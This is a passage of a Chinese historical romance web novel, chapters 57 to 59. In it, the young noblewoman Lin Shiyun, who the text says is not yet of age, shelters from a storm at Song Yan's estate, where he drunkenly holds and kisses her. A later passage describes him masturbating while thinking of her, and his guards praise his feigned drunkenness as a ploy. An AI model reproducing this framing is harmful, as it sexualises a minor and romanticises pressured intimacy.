别问他为何不叫众人直接去他的庄子,他的庄子更远一些,暗卫快马加鞭的通知老冯过去,马车自然也到了。 身后的人一声是之后便策马离开了。 宋晏对着陈一道:“老冯是解毒圣手,你们即刻出发,晚不了。” 孟云上抱拳对宋晏行礼,“多谢世子殿下。” 宋晏点点头,转身驾马飞奔而去。 第57章 林诗芸掰竹笋掰的正上头呢。 因为刚刚的事情,担心遇到毒蛇,两名护卫便一前一后的保护着。 林诗芸倒是不甚在意的,他们每人身上都带了香囊的,里头有虫蛇最讨厌的气味,再说了,哪里就那么倒霉,再来一条毒蛇叫他们碰上了。 宋晏从竹屋的后方完美的错开了林父,倒也不是他故意的,他听说林诗芸在竹林,便将马栓在了竹林最外头,只身抄了小路便进来了。 远远地,他便看到了林诗芸。 今日的林诗芸一身浅绿色长裙,倒是跟这竹林的景色相得益彰,一样的生机勃勃,一样的肆意生长。 两名护卫先发现了宋晏。 二人心中有些奇怪宋晏为何在这,还是只身一人,但面上还是恭敬行礼,道了一声世子殿下。 林诗芸这才转过了身,看到来人惊喜道晏哥哥,你怎么来了。 宋晏淡笑着走近她,道:“在附近骑马,正好碰到了大表妹坐在贵府马车里,问了几句便上来了。” 林诗芸点头,问道:“他们已经下去了?” 接着又叹了口气道:“不知公主庄子里有没有能救治蛇毒的大夫,那位大哥伤的挺严重的。” 宋晏点点头,看着她裙摆的泥土觉得有些好笑,芸儿同世家贵女的不同便在这了,更有烟火之气。 他道:“我已着人快马加鞭去叫老冯了,老冯善蛇毒,我那离姑母不远,你且安心,那人不会有生命之忧的。” 林诗芸这才放下了心,好好的一个人,若是因为突如其来的意外没了,家人得多伤心啊。 她高兴道:“无事便好。” 转身又给宋晏炫耀起了她掰的竹笋。 “晏哥哥,你看,这么多全是我掰的,我厉不厉害。” 宋晏望着她亮晶晶的眼眸,眸色微动,夸赞道:“嗯,芸儿很厉害,这篮子都满了。” 林诗芸看了眼已经满了的篮子,有些意犹未尽道:“确实满了,那便不掰了,我肚子都饿了呢。” 这一停下来才发觉自己又累又饿的,还有些渴,她需要回去补充能量。 于是将篮子递给护卫道:“你们拿去洗一些,咱们中午做了吃了。” 二人有些迟疑,林诗芸笑道:“无事的,我和宋晏哥哥这便也回去。记得看看打猎的人回来了没有,我肚子饿了。” 护卫这才离开了。 关于四姑娘能吃这件事,府上是无人不知的。 二人走的飞快,默默的对视一眼,心里磕起了糖,就他们四姑娘这副相貌,也只有端王世子能配的上了。 林诗芸同宋晏便走便聊天,林诗芸感受着竹林里的清凉,没忍住打了个哈欠,“一大早的便被我爹着人给叫起来了,实在是困。” 她伸了个懒腰舒服道:“不过还是在大自然里舒服,这山山水水的,叫人心情都好了很多。” 宋晏静静的看着她,唇角挂着宠溺的笑,“嗯,芸儿喜欢的话,以后哥哥常你来。” 翻译过来便是,芸儿喜欢的话,成婚后哥哥常带你来庄子。 林诗芸自然没听出 来,自顾自乐道:“这几日也是热的很了,在府上离了冰鉴我都是吃不下饭的,在山里倒是没那么热了,是得常来。” 二人一个说一个听,场景分外温馨。 宋晏在思索着要不要现在表白,却发现他们已经快要走出竹林了,已经明显可以听到外头小孩子兴奋的说话声。 林诗芸笑着对宋晏道:“应该是我小弟,爹爹带着他抓鱼呢,咱们赶紧去瞧瞧他们抓到多少鱼了。” 言罢便拉着宋晏小跑着往小溪的方向奔去。 林诗芸抓着宋晏的手腕奔跑在竹林里,他丝毫不介意被她拉着走,只觉得时间若是能停止在这一刻便好了。 夏风轻轻扬起她的长发,耳畔是她咯咯的笑声,一切都是如此的美好。 终于来到了小溪边。 林诗芸放开了宋晏的手腕,大声唤着,“爹爹,你们可有抓到什么鱼了?嘿嘿,女儿可是掰了好多笋子呢。” 宋晏扫了眼空了的手腕,掩饰好心中的失落,迅速打起了精神,准岳父在呢,他自然不能失礼。 林父笑呵呵的说了句自然抓到了,转身却看到了跟在女儿身后的高大身影。 林父顿时有些笑不出来了,这货是来抢他的女儿的! 宋晏装作不觉,恭敬行礼。 林父踩着石头上了岸,溪水哗啦啦的,跟他的心情一样差。 小弟忙去扶了亲爹一把。 到了岸上的林父边给衣摆挤水边道:“不敢当啊,世子身份高贵,应该下官给世子行礼才是,还请世子原谅下官无礼了。” 这夹枪带棒的,连林诗芸都听出不妥来了。 林景贤年纪小,但是是个自小便会察言观色的,眼珠子一转走到林诗芸跟前道:“四姐姐,咱们去看看膳食吧,贤儿有些饿了。” 林诗芸点头,看了眼爹爹和宋晏二人才走了。 她总觉得二人之间的气愤有些不太对,但是不知道问题在哪,难道宋晏惹爹爹不高兴了? 林景贤的小脑袋瓜就简单多了,他只是觉得当时他应该拉着四姐姐离开。 林诗芸也饿了,她同小弟二人来到烧烤架旁,几个猎到野物的护卫正烤兔子呢,还有一只大肥獐子,已经烤的半熟了,很快便能吃了。 林诗芸顿时眉开眼笑的夸赞道:“你们这个速度也太快了吧,我这才刚回来你们都已经烤上了,这大肥獐子,回去通通有赏啊!” 一个手上没活的护卫笑的憨厚,“不光如此呢,听雨说您养的兔子都吃没了,您看那边,我们又抓了几只,其中那只大的已经怀了崽了,这东西长的特别快,这回不怕赶不上您吃的了。” 林诗芸像一边望去,也不知这几人是从哪弄的兔笼,果真有几只兔子在里头。 林诗芸高兴坏了,上次养的那两只还没揣崽呢就被她嘴馋的时候给吃了,这下好了,再也不用担心没兔子吃了! “难得你们想的那么周到,我一定叫爹爹给你们几个涨工钱!” 很快兔子烤好了,林诗芸和小弟一人一个兔腿在那啃,林诗芸有些纳闷爹爹跟宋晏两人说啥呢,爹爹的表情怎的如此严肃,却见宋晏忽的腰身一弯,朝林爹恭敬的行了个大礼。 啊,这,宋晏有求与亲爹啊? 林诗芸撇了撇嘴,她一个未来亲王,还能有什么求她爹的地方,耸了耸肩,继续啃兔腿。 林景贤看看四姐姐又看看远处的宋晏,也学着林诗芸的模样耸了耸肩,而后又点了点头,四姐姐真好看,宋晏哥哥也好看,他长大了也要这么好看。 午膳便是随意在山上吃了一些,不过林诗芸是吃饱了的。 不知谁在山里竟然找到了香菇,用香菇同竹笋做了个笋菇汤,味道那叫一个鲜啊。 收拾好锅碗瓢盆便下山了,林诗芸骑着马,也不惧太阳,欢快的跑在山路上。 她还望了眼天空呢,太阳也不大了,就是气了风。 宋晏忙跟上护着她,林父在后头瞪了这小子两眼,臭小子将对乖宝的心意说的天花乱坠的,又直白又诚恳,他都有些感动了,不过他还得再考验一番的,虽说这些年宋晏没什么不良传闻,但是他有一对不靠谱的爹娘啊。 上梁不正下梁歪,现在的海誓山盟不代表以后不会翻脸。 叫他想想,干不过他们皇家,但是怎么才能最大限度的为女儿谋取利益这点才是真的。 大不了最后和离归家吗,他才不会叫女儿傻到前端王妃那般呢。 心里想了个注意,他脸色也好了起来,和他同骑一匹马的小儿子已经发出了抗议,“爹爹咱们快跑啊,都看不见四姐姐了。” 林父也加快了速度。 只是没一会,他们便感觉到了天气的变化,像是突然间变了天,狂风四起,乌云密布,赶紧往回走,可只一会的功夫竟然哗啦啦的下起了雨。 宋晏狂喜! 下吧下吧,最好叫芸儿回不了家。 果然,老天爷好似是听到了宋晏的心声,雨势越来越大,大到都看不清路了。 林诗芸被淋湿了个透,宋晏将自己的外袍脱了,林诗芸也不客气,直接接过穿上外头。 夏日本来穿的就少,她这一淋雨,里头穿的什么衣裳头透出来了。 宋晏转身去找林父,大声同林父道:“林大人,附近有端王府的庄子,您带着众人且同我一起去庄子躲雨!” 这个时候宋晏用的都还是我,姿态放的很低了。 林父不同意也没有办法,小女儿被浇的浑身湿透可怜极了,小儿子在他怀里有他护着还好,可这大雨磅礴的,马车也不在,哎。 林父再不想也只能去端王府的庄子了,他一个大男人,总不能带着儿女去人家长公主的庄子。 走了不远有匹马疾驰而来,原是宋晏的人来找宋晏了。 那人看到宋晏身后的一群人还楞了片刻,反应过来之后便将身上和手中的蓑衣全部取了下来。 宋晏帮着林诗芸穿上,林诗芸已经冻到嘴唇发白。 宋晏心疼的直冒火,将手上的另一个蓑衣分给了林父,林父也不推辞,赶紧穿上带着众人离开。 这鬼天气,真是见了鬼了,大半日的大太阳,他们一要回去便下起来了。 林父感觉着怀里小儿子冻的哆嗦,心里也是直冒火。 终于,在快马加鞭的一刻钟后众人安全无事的到了庄子。 彼时大雨已经大的像是老太太泼的洗脚水,加上发黑的天空,大的叫人害怕。 庄子的下人动作很快,将众人带回房间换上干净的衣裳,还送去了姜汤。 有丫鬟来帮林诗芸换衣裳擦头发,简单冲洗后,林诗芸捧着碗姜汤喝的眉头紧皱,她端着碗又打了个冷颤,低头又喝了一大口,不喝不行啊,受凉了就得不偿失了,于是她捏着鼻子喝了两大碗。 丫鬟帮她将头发绞干了,林诗芸冲她摆摆手,叫她差人去告知父亲和宋晏一声她无事,便进了被窝准备睡一会。 毕竟这种天气,可是太适合睡觉了。 她丝毫没有在别人家里的不适感,蒙着头竟然真的呼呼大睡起来,直到听雨冒着大雨回来了,她才被吵醒。 两个庄子离的并不远,只是暴雨倾盆,听雨执意要回来找她。 其实宋晏是差人送去了口信的,但听雨和护卫陈一都觉得自己身为定安侯府的下人,就是天上下刀子也得回到主子身边。 林诗芸迷迷糊糊的看着听雨,听雨好不容易将手捂热,便试探性的去摸林诗芸的额头,嘴里嘟嘟囔囔道还好未发烧。 林诗芸坐了起来,叫她赶紧也上床暖和一会,这大雨下的,温度骤降,不冷就怪了。 听雨摇摇头,林诗芸低头去看听雨的鞋袜,一见果然都湿了,裙摆也湿了半个。 听雨说了几句那位被蛇咬的大哥的情况,林诗芸点点头,忙叫听雨去换身衣裳,床头柜上有丫鬟送来的衣裳鞋袜,听雨比林诗芸要瘦小一些,穿是肯定能穿上的。 听雨也不推辞,点点头便拿了衣裳去披风后换上了,便换边同林诗芸说 话,“刚才路过二爷那,听到说是小公子起了热,奴婢这才着急忙慌的来试您的额头,就怕您也不舒服。” 林诗芸忙下了床,穿上外衣对听雨道,“我去看看小弟,你且不用担心我,没几步路,你在这等着喝上两碗姜汤再说。” 林诗芸打开门,吩咐丫鬟去取姜汤送来便去了林父的房间。 听雨在里头系着带子有些着急,想想又放弃了跟上的想法,她还是老实的留下喝姜汤吧,万一也受了寒便没人照顾小姐了。 雨势有些弱了,走廊里也存了一些积水,林诗芸小心的走着,尽量不沾湿鞋袜,很快便到了林父的房间。 大夫已经给开好了汤药,下人正送大夫出门去熬药,林诗芸走进去,林父抱着小弟脸上满是关切,见林诗芸也来了,林父忙道:“你怎的来了?赶紧回去,一会再过了病气。” 林诗芸撅着嘴道:“女儿哪里那么娇弱了,来一趟就过病气,” 她抹了抹小弟的额头,见小弟未起高热便稍微放下了心,“爹爹您可有不适?” 林父摇头叹息道:“爹爹无事,都怪爹爹今日非要带你们出来,” 林景贤忙抓着爹爹的手道:“不怪爹爹的,是贤儿缠着爹爹想出来玩,贤儿今日很高兴。” 林诗芸摸了摸小弟的头,夸赞道:“贤儿说的是,姐姐今日出来也很高兴,” 又对着父亲嗔怪道:“天要下雨娘要嫁人,老天爷想下雨怎么能赖到爹爹身上,是爹爹想的太多了。” 林父看着一双儿女满目欣慰,接着便听外头传来敲门声。 已到晚膳时间,宋晏本是想设宴款待众人的,只是时机不巧,怕是林父吃不下什么。 宋晏便着人做了一些清淡好消化的,这也便送来了。 其实林诗芸来时宋晏刚走,二人完美错过了。 只是错过也好,省得老父亲看了心里不舒服。 林诗芸被林父赶去用膳,林诗芸也确实饿了,便麻溜的滚了。 晚膳后她抹着嘴直感叹,这宋晏府上的厨子厨艺确实好啊,每一道都是她爱吃的,直接给她干撑了。 吃饱喝足直接撵了听雨去睡觉,自己便爬床上去了。 听雨也是累了一天,听话的上了外间的榻,很快便睡熟了。 外头的雨渐渐停歇,林诗芸翻来覆去的倒是没了睡意。 她在想宋晏在做何。 她都在他庄子上了,也没见他露个面。 哼,她不高兴了。 宋晏其实一下午都是纠结的。 他先是听说林诗芸睡了,之后林小弟突然发烧,他来探望便是存了偶遇林诗芸的心思的,可以没遇到。 晚膳他纠结了半晌,最终未叫人请林诗芸过去。 毕竟人家爹在那呢,他可以光明正大的叫人去请,也可以以权势压人叫林诗芸过去,可是他太在乎了,他甚至非常在乎她家人对他的看法。 不可做不知礼数之人。 于是他在厅里来来回回踱步,终是放弃了心中的打算。 大雨已停歇,宋晏提了一壶酒,索性出了门,只是走着走着,便到了今日林诗芸所住附近。 他在一处凉亭停了下来。 跟着他的下人迅速将凉亭收拾干净,一点水渍也无,他摆摆手叫所有人都退下去了,自己则是在这静谧的夜就着廊下偶尔滴落的雨声喝酒。 他形单影只的立在亭中,遥望着漆黑的夜空,昏黄的灯光衬的他整个人都有些阴沉,一如这夏日雨后的夜,清冷,寂寥。 林诗芸就是在这时候出现的。 她睡不着便爬了起来,她见听雨睡的熟,定是累坏了,便轻手轻脚的出了门。 雨后的空气分外清新,带着泥土的香味,偶尔还能听到不知从哪冒出来的蛙鸣。 林诗芸猜想附近定是有池塘的,便在附近逛了起来。 她裹了裹身上的衣裳,别说,雨后夏夜晚风,还是有些冷的。 到底是皇家庄子,这长廊连着长廊,根本不怕会湿了鞋,虽说偶尔有些积水,但是每几米一个廊灯,小心些便不怕踩进水里。 她并未走多长时间,只转了两个弯便看到了宋晏。 她看到宋晏只身站在亭中,便猫着脚轻轻地走了过去,想要使坏吓他一跳。 不料宋晏却忽的转过了身子,看到她时眼睛一亮,下一瞬却又满脸的自嘲,他往林诗芸的方向轻轻扬起了手,嘴上道:“终是我喝醉了吗,竟然看到了芸儿。” 二人的距离很近,他伸出的手再差一点便要触摸到她的脸颊。 林诗芸没听明白,桃花眼眨巴了两下,看到了他手上的酒壶才道:“确实是我啊晏哥哥,你这是,喝醉了?” 林诗芸上来直接拿走了他手上的酒壶,还举起来闻了闻,“是烈酒啊,难怪你都有些醉了,” 她晃了晃,这人喝了大半壶,能不醉吗。 林诗芸顺手将酒壶放到了石桌上,转身想说什么却直接卡在了嘴里。 宋晏离她实在太近了,她不断后退,腿已经靠在石桌上。 宋晏却一个大力,将她直接拥在怀里,他趴在她的肩头,两只手紧紧的贴在她的腰上,嘴里不断的叫着她的名字,“太好了,是芸儿,是芸儿,竟真的是芸儿,我没有喝醉,也没有做梦,真的是你来了。” 林诗芸有些不知所措,小脸瞬时间涨红,她挣扎着想推开宋晏,可是男人的力气太大,她推搡了半晌无果还是被男人紧紧抱在怀里。 男人还在轻声低语,林诗芸心想他应是喝醉了,便轻轻拍着他的肩头哄道:“是我来了晏哥哥,你放开我好不好,你抱得太紧了,我有些喘不过气。” 宋晏听罢果然放开了她,只是两人的距离还是很近,近到肌肤相贴,近到林诗芸能听到他的心跳,近到他们的呼吸交缠。 宋晏因为喝了酒的脸颊绯红,他的喉结滚动,呼吸急促,林诗芸不敢看他,她只觉得自己心脏快要爆/炸。 宋晏又何尝不是呢。 她睫毛轻颤不敢同他对视,宋晏的眸子一直盯着她,从她好看的桃花眼到水润的红唇,两颗心脏在同一时刻剧烈跳动着。 宋晏眸中的欲色更深。 他终于开口,“芸儿,看着我,看着我好不好?” 林诗芸眨巴了两下眼睛,深吸口气,终于鼓起勇气对上了宋晏的双眸。 宋晏浑身紧绷,他激动到有些颤抖,看着林诗芸的一双桃花眼,他缓慢而又着急道:“芸儿,我喜欢你,是男女之间的喜欢,我喜欢你,很喜欢,你,” 你一只手牵起她的手放到了自己胸前,眼睛盯着她一瞬不瞬的,“芸儿,你能听到吗,这颗心脏在剧烈跳动,他在说我心悦你,我想娶你,芸儿,我想娶你。” 林诗芸可以感受到他胸腔内的强烈而浓厚又隐忍的爱意,她有些不知所措,两辈子她都没有谈过恋爱,甚至连暗恋也没有,她不知道该怎么去回应宋晏。 她喜欢宋晏吗?是爱吗?她不知道,她是觉得他好看,她也想亲近他,他甚至,甚至不讨厌此时的亲密接触 林诗芸躲避着他的视线,轻轻咬了咬唇,“我,我不知道,晏哥哥,我不知道,” 可下一瞬,宋晏却低下了头,径直的吻了上去,当两人的唇瓣相贴的那一瞬,林诗芸的脑袋砰得一声,接着便一片空白,像是全世界只剩下他们两个。 她甚至能清晰的感受到唇瓣上那柔软的触感,甜甜糯糯冰冰凉凉的,带着丝丝酒香。 好似是只是瞬间,又好似是一个世纪那般漫长。 这是蜻蜓点水般的轻轻一吻。 宋晏能感受到林诗芸微微僵直的身体,他大拇指轻轻的抚上了她的唇瓣,试图叫她放松下来。 他一双眸子深情的凝视着她,声音带着沙哑魅惑,“芸儿,可讨厌晏哥哥的触碰?” 林诗芸仰头看着他,鸦羽般的睫毛轻轻颤动,眼尾的红痣娇艳欲滴,她回忆着刚才的触感,诚实的摇了摇头。 宋晏的大拇指还在摩挲着她的唇瓣,叫她胸腔升起了一股热气,她不懂那是什么,可下一刻,宋晏的大手竟然抚上了她的后脑,再一次吻了上来。 这一次,略显霸道,唇齿交融 双唇相接,他的舌尖轻轻挤进了她的唇瓣,触碰到了她的舌尖,林诗芸只觉身体像是触了电一般,她像是溺了水的鱼儿,连呼吸都忘了。 她甚至她忘记推开他,她紧紧的抓着他的腰间的衣裳,身体微微有些颤抖,却是顺从内心,轻轻的闭上了眼睛。 宋晏的吻缱绻温柔,从 一开始的轻轻试探,到舌尖缠绕,是那般炽热,二人呼吸交缠不分你我 终于在林诗芸两腿发软感觉自己要憋过气之时,宋晏才放开了她。 宋晏也喘着cu气,一双带着情yu的眸子深邃明亮,望着她潮红的脸颊,他不敢再看了,他怕自己控制不住将她吃干抹净。 他的芸儿纯粹如一张白纸,叫他忍不住想欺负她。 他轻笑着将她抱紧,这一次,他的声音带着无尽的欢喜,他趴在她的肩头,轻轻呢喃:“芸儿也是喜欢我的对不对,是男女之间的喜欢,是不是,是不是,芸儿,是不是。” 林诗芸心里是一团乱麻,可是亲都亲了,她说不是是不是就是始乱终弃了? 于是便硬着头皮嗯了一声。 宋晏狂喜,他要疯了,要高兴疯了,他甚至想将芸儿抱起来疯狂的索吻庆祝一番,他一颗扑通扑通急速跳动的心脏在此时好似终于安稳了几分。 一阵凉风吹来总算叫林诗芸大脑清明了一些,不行啊,她觉得自己再待下去她要完啊!她一颗心激情澎湃小鹿乱撞乱了套了! 不行!她不能沦陷! 虽然晏哥哥的嘴唇挺软挺好亲的 但是,她不能放任自己继续犯罪! 跑,她得跑,她得赶紧跑,于是她一个大力猛的推开了宋晏,也不敢看他,只留下一句太晚了我要去睡觉了转身便跑没了影。 宋晏也不去追,他还算有数,知道不能追的太紧了,他目送林诗芸离开,像个傻子一般在原地笑了半晌,一会伸手摸自己唇角,一会又去看自己身上的衣裳。 尤其是没被林诗芸抓的皱在一团的两处,心情颇好。 嗯,这身衣裳收藏,必须收藏。 很久之后,他才拿起桌上的酒壶,嘴上唱着不知名的小调蹦跶着回了自己院子。 是真的蹦跶,时不时的旋转跳跃打两下拳,完全没有了平日里的高贵形象。 不知名角落围观的暗卫不由得竖起了大拇指,还得是咱们世子殿下啊,大半夜拿半壶酒出来装可怜,成功拿下林四姑娘。 那小嘴亲的,他们愣是没敢看! 第58章 林诗芸也不觉得夏夜风凉了,一口气跑回了院子。 幸好她尚存理智,没被情爱冲昏头脑,在门口处稍微稳了稳心绪才轻手轻脚的推门进去,并且迅速的上了床。 她迅速钻进被子将自己的头给蒙上了。 心里一阵啊啊啊啊的大叫,刚才同宋晏接吻的画面就一直像在放大屏幕电影,在她脑海挥之不去,她伸手去摸自己的脸,妈呀,热的跟发烧了似的。 她又摸了摸自己的唇,宋晏怎么这么会亲啊,还,还挺舒服的…… 她滚来滚去,试图叫自己不要再想了。 但是没什么用,这一夜她满脑子都是宋晏那个妖精,他贴在自己腰间的宽大的手掌,他冰凉温润的嘴唇,还有,他望着自己那深情的双眸,啊啊啊不能再想了,林诗芸要疯了! 睡不着的可不光他一个。 长夜漫漫,宋晏无心睡眠。 浑身燥热的这位先是在院子里打了套拳,出了一身汗之后才躺下。 没办法啊,火气太旺,无奈年轻力胜,有劲儿没地方使。 这边躺下的宋晏也是翻来覆去的睡不着,想到芸儿因为接吻憋气而水汽氤氲的眸子,那潮红的脸颊,柔嫩甜香的双唇,都叫他愈发控制不住自己,实在是心/痒难耐。 他不想疏/解的。 可是他没有办法。 当他双手握住自己的时候,满脑子都是洞房花烛夜的场景。 他的芸儿,马上就要及笄了,终于可以嫁他为妻了。 这么想着呼吸愈发急cu,脑海里浮想联翩,终于轰的一声倾泻而出。 他轻吐口气,绯红的脸上还带着些许的餍足,笑着摇了摇头,这才认命似的爬起来换下里衣。 翌日一早,林诗芸顶着两个大大的黑眼圈被听雨给唤醒了。 听雨看到自家姑娘吓了一跳,“姑娘,您昨夜可是没休息好,怎么眼睛这般黑?” 林诗芸揉了揉眼睛,想到昨夜发生的事情,抿着嘴的叹了口气,摆摆手道:“我就是认床,无碍,可是爹爹说要回去了?” 听雨点头,“二爷和公子都已经起来了,说用过早膳咱们便回府。” 林诗芸点点头,起来穿衣裳,“小弟可还烧着?” 听雨边给她套衣裳边道,“说是夜里退的,一直没再起,奴婢刚才瞧着小公子精神不错,您且放心。” 林诗芸嗯了一声,看着她手里极华贵的流光锦制成的长裙皱了皱眉,“这是?” 听雨笑着解释道,“是世子一早差人送来的,奴婢见这衣裳华美,便想拿给您穿。” 林诗芸张了张嘴,宋晏不过了?随便出手就这么大方,生怕她爹不知道啊! 收是肯定要收的,不要白不要吗,只是…… 她抿嘴想了半晌道,“这件收起来吧,太华贵了,值不少钱呢,有机会再穿,马车上可有备用的衣裙?我穿那件便好。” 听雨也不问为什么,点点头转身便去找从府里带出来的备用衣裳了。 林诗芸看着自己低调的鹅黄色长裙,这才满意的点点头。 昨日大雨,她头上的钗环跑掉了不少,听雨抱来一个匣子,笑吟吟的看着林诗芸道:“这也是世子差人送来的,一匣子的首饰呢,姑娘,咱们发财了。” 言罢听雨顺手打开了,饶是林诗芸做了多年的侯府千金,此时也是被震撼到了的,这满满一匣子,全是金钗。 很好,她很满意。 宋晏就是了解她这贪财的小性子,知道直接送上金子比送玉石要讨她喜欢多了。 听雨看了自家姑娘一眼才接着道,“昨日您丢的钗环也都找到了,世子也差人都送了回来,” 听雨忍着笑不住打量林诗芸的表情,“世子对姑娘真是妥帖啊。” 林诗芸被听雨说的老脸一红,轻咳一声从匣子里找出两个没什么花纹的金簪来塞到听雨手里道,“不准胡说,那个,这俩给你和春雨,改日你出门给她送去。” 听雨高兴的接过,也不再调戏自家姑娘了,林诗芸那一张脸倒是又热了几分,罢了罢了,不再胡思乱想,还是赶快收拾好去找爹爹用早膳去。 用膳时林父看到小女儿的黑眼圈也并未说什么,只以为孩子认床,没睡好。 林父心疼的看着儿子女儿,恨不得立马打道回府。 经过昨日一场大雨的洗礼,天空变得特别蓝,放眼望去万里无云,空气也更清新,并不热。 宋晏知道林父急着回去,早已在院内等候多时,等着在林父面前刷一波好感,也看看芸儿是否像他一样,激动到一夜都没睡好。 林父打量了两眼身高腿长相貌英俊的宋晏,觉得至少在皮囊上这小子确实不错,配的上他女儿。 二人寒暄了两句,林父便带着儿子女儿往大门处走,只是快到大门处时,宋 晏却故意走慢了一些,他轻轻咳了两声,装作不经意的靠近林诗芸,还算宽大的袖子很好的遮住了他作怪的手,林诗芸吓得差点蹦起来。 他竟然大庭广众之下偷偷牵她的手!还捏了捏! 林诗芸的脸蹭一下便红了起来,她不敢看宋晏,昨夜的吻又冒了出来,她什么也没说,蹭得一下便小跑着上了马车。 宋晏努力抑制住唇角,芸儿真可爱。 林父只当女儿急着回家,并未考虑过宋晏敢在他眼皮子底下作妖。 一行人终于启程,宋晏始终温和有礼,一点架子没有,倒叫林父涨了几分的好感。 刚到府门外便见姚氏同林诗情已经等在大门处了,二人见马车停下,忙不迭的迎了上去,林景贤的身体已经好了很多了,小孩子嘛,今日一早便又生龙活虎了,还闹着要骑马,被林父勒令坐了一早晨的马车,此时已经迫不及待的蹦下车架来了。 给姚氏气的就要开口训斥,林诗情已经直接上了手,林景贤这才老实了。 林父直接换了官服便去上值了,林诗芸顶着两个大大的黑眼圈直打哈欠,姚氏和林诗情只当她在别个庄子没休息好,便赶紧撵着她去休息了。 林诗芸这一觉便睡了个昏天黑地,别问她想没想亲嘴的事情,就是吧,亲都亲了,抱都抱了,还能咋滴吧,先睡醒了再说,天还没塌呢,宋晏总不能今日就上门提亲吧,她还没及笄呢。 睡觉! 想通了的林诗芸便直接睡了过去,睡到午膳都没有爬起来吃。 还好听雨甚有经验,知道自家姑娘是能睡也能吃的,便没有打扰她,只吩咐小厨房将饭食都准备好,待姑娘醒来第一件事便是要嚷嚷用膳的。 林诗芸还是没能睡到太晚。 因着林诗意来了。 林诗芸刚一睁眼便看到了林诗意楚楚可怜的一双眼睛里充满了泪花的模样。 给林诗芸吓的一下便清醒了。 她忙爬起来问林诗意出了何事。 林诗意却是一头扑进了林诗芸怀里哭了起来,旁边的丫鬟春燕摸着眼泪急急解释道:“四姑娘,是侯爷,侯爷要把我们家姑娘嫁给一个穷书生!” 林诗芸懵了,不是,闹呢!堂堂定安侯府三姑娘,嫁给穷书生!就是个举子那也不行啊! 林诗芸皱着眉头训斥道:“穷书生?你从哪听说的?这事可不能瞎说啊,这是你们家姑娘一辈子的大事!” 春燕一听更来劲了,擦着眼泪愤愤道,“这是奴婢亲耳听到的,奴婢今日出门采买,在北街菜市附近碰到了侯爷在夸赞一名卖字画的书生,侯爷夸赞了几句,竟道若是他有闺女,必嫁阁下这般有大才之人啊。这,侯爷的闺女只有我们家姑娘没嫁了啊。” “而且,而且那书生看着年纪不小了,” 是个又穷又老的。 春燕急的摸眼泪,她是家生子,且一定会是姑娘的陪嫁,她从来没想着给姑娘的夫婿做妾室通房,只想一直陪着姑娘照顾姑娘,嫁个管事小厮,不求锦衣玉食,但也吃穿不愁,可若是姑娘真嫁给穷书生,那,那她们这些下人的一生也完了啊。 林诗芸张了张嘴,倒也不是她不相信春燕,可这太荒谬了啊,大姐二姐都已定了门当户对的人家,侯爷大伯怎会如此胡闹? 不会的,定是三姐姐和春燕想多了。 林诗意却抬起了头来,眼泪汪汪道:“你忘了,爹爹想让大姐姐嫁个小校尉一事?” 林诗芸哪里会忘呢,她昨日还偶遇了孟云上呢,可这,这,她还是不愿意相信。 于是她轻声哄着林诗意,“三姐姐,可能大伯只是那么随口一说,你不必如此惊慌的,不若……不若咱们将大姐姐二姐姐叫来,一起商议此事?” 林诗意擦了擦眼泪,摇了摇头,“大姐二姐刚定亲,还是不要叫她们也跟着焦急了,” 她眼睛哭的红红的,抽了抽鼻子又道:“爹爹定是着急想把我给嫁出去了,” 林诗芸忙哄:“不会的,大伯极疼你和大姐姐的,三姐姐怎么会这样想,你别急,这事,” 林诗芸皱了皱眉头,半晌总算想出个重拳出击的法子,“三姐别急,这事交给我来办!我出去会会那个穷书生,春燕不是说了他在北街菜市那儿摆摊卖字画?姐姐等着看,我定有办法叫他不敢有非分之想!” 嗯,林诗芸的想法很简单,不管是不是真的,她都要去会会那个穷书生,并且威胁他,叫他不管有没有婚配都对旁人说自己已有婚配,这样定安侯即使有想法也不能叫三姐姐嫁过去了。 林诗芸觉得自己可真聪明。 林诗意也不哭了,姐俩脑袋凑到一处在想出去的方法,林诗芸忽然想到了什么,一拍脑袋道:“对啊,算算日子明日三哥哥休沐!这个时间三哥哥应是还未从书院回来,一会咱们去找他,明日咱俩穿着书童的衣裳跟着三哥哥偷偷摸摸的出去。” 林诗意一双红彤彤的美目带着些迟疑,“能,能行吗?” 林诗意却是不以为然,“肯定能行的,三哥哥的两个书童年龄都不大,咱们装扮成书童肯定合适。” 言罢她便摸着自己饿扁了的肚子起来用膳,准备一会儿找林景晟胡搅蛮缠实施明日的计划去了。 第59章 在林诗芸的软磨硬泡胡搅蛮缠撒泼打滚外加威逼利诱之下,林景晟终于同意带两姐妹出去。 今日二人的运气也算极好,一大早的,侯夫人便带着林诗瑶出门参加宴会去了,姚氏带着林诗情去了另一家。 林诗意推脱说自己不舒服,林诗芸说天太热,二人都没跟着去。 待众人走后二人开始实施计划。 眼看时辰不早,姐妹二人迅速换上书童的衣裳,那两名书童被放了假,悠哉悠哉的回房睡觉去了。 各自的丫鬟在各自院里打掩护,林诗芸同林诗意便低着头跟着林景晟走了。 林景晟聪明的很,没从正门走,而是故意走了角门,为了节省时间他经常从角门出去,看门的下人已经见怪不怪了。 只见林景晟怒气冲冲的,边走边回头训书童,“也不知道你们二人是干什么吃的!一点小事都干不好!那可是爷的卷帘大将军!你们都给放跑了?爷花五十两买的!五十两!” 卷帘大将军是他花重金买来的蛐蛐,此时正在他怀里藏着呢。 “爷他妈一个月月钱才十两!” 林景晟表现明显是气得狠了,用手中的折扇砰砰敲了二人的头,二人吃痛也不敢发出动静,只是一再的将头低的更低。 马上到了角门处,看门的下人想跟林景晟行礼,林景晟这个混不吝的怒气冲冲道,“看什么看!不长眼的东西!给爷将门打开!” 林景晟将他平时混不吝的模样表演的是淋漓尽致。 那下人莫名被骂也不敢说话,忙低着头将门打开,三人成功的出了门。 一早马车就等在角门,待三人上了马车,林景晟才终于松了口气。 只是为了逼真些,嘴上还在大声说着训斥的话。 这两个姑奶奶,可给他出了难题了,这要叫大哥发现,他保准得抄一百遍家训! 马车已经出发,在窗户看已经驶出定安侯府附近了,林诗芸才猛的去打林景晟,“好啊三哥哥,你就是在公报私仇,你刚才打我们用了全力,我头上绝对起包了!” 林诗意也气鼓鼓地瞪着他,林景晟被林诗芸打的直呼冤枉,“真没有,我当时就想着演的逼真一些了,好芸儿,别生气别生气,哥哥不是故意的,” 林诗芸不解气,又上手扭了林景晟一把,林景晟疼的吱哇乱叫,“疼,三姐姐你快管管四妹妹,我胳膊肯定青了!” 林诗意哼了一声,“活该,叫你用力打我们!” 好家伙,果然不能跟女子讲理,林景晟带她们出来反倒成了他不对了,他直呼自己上哪说理去。 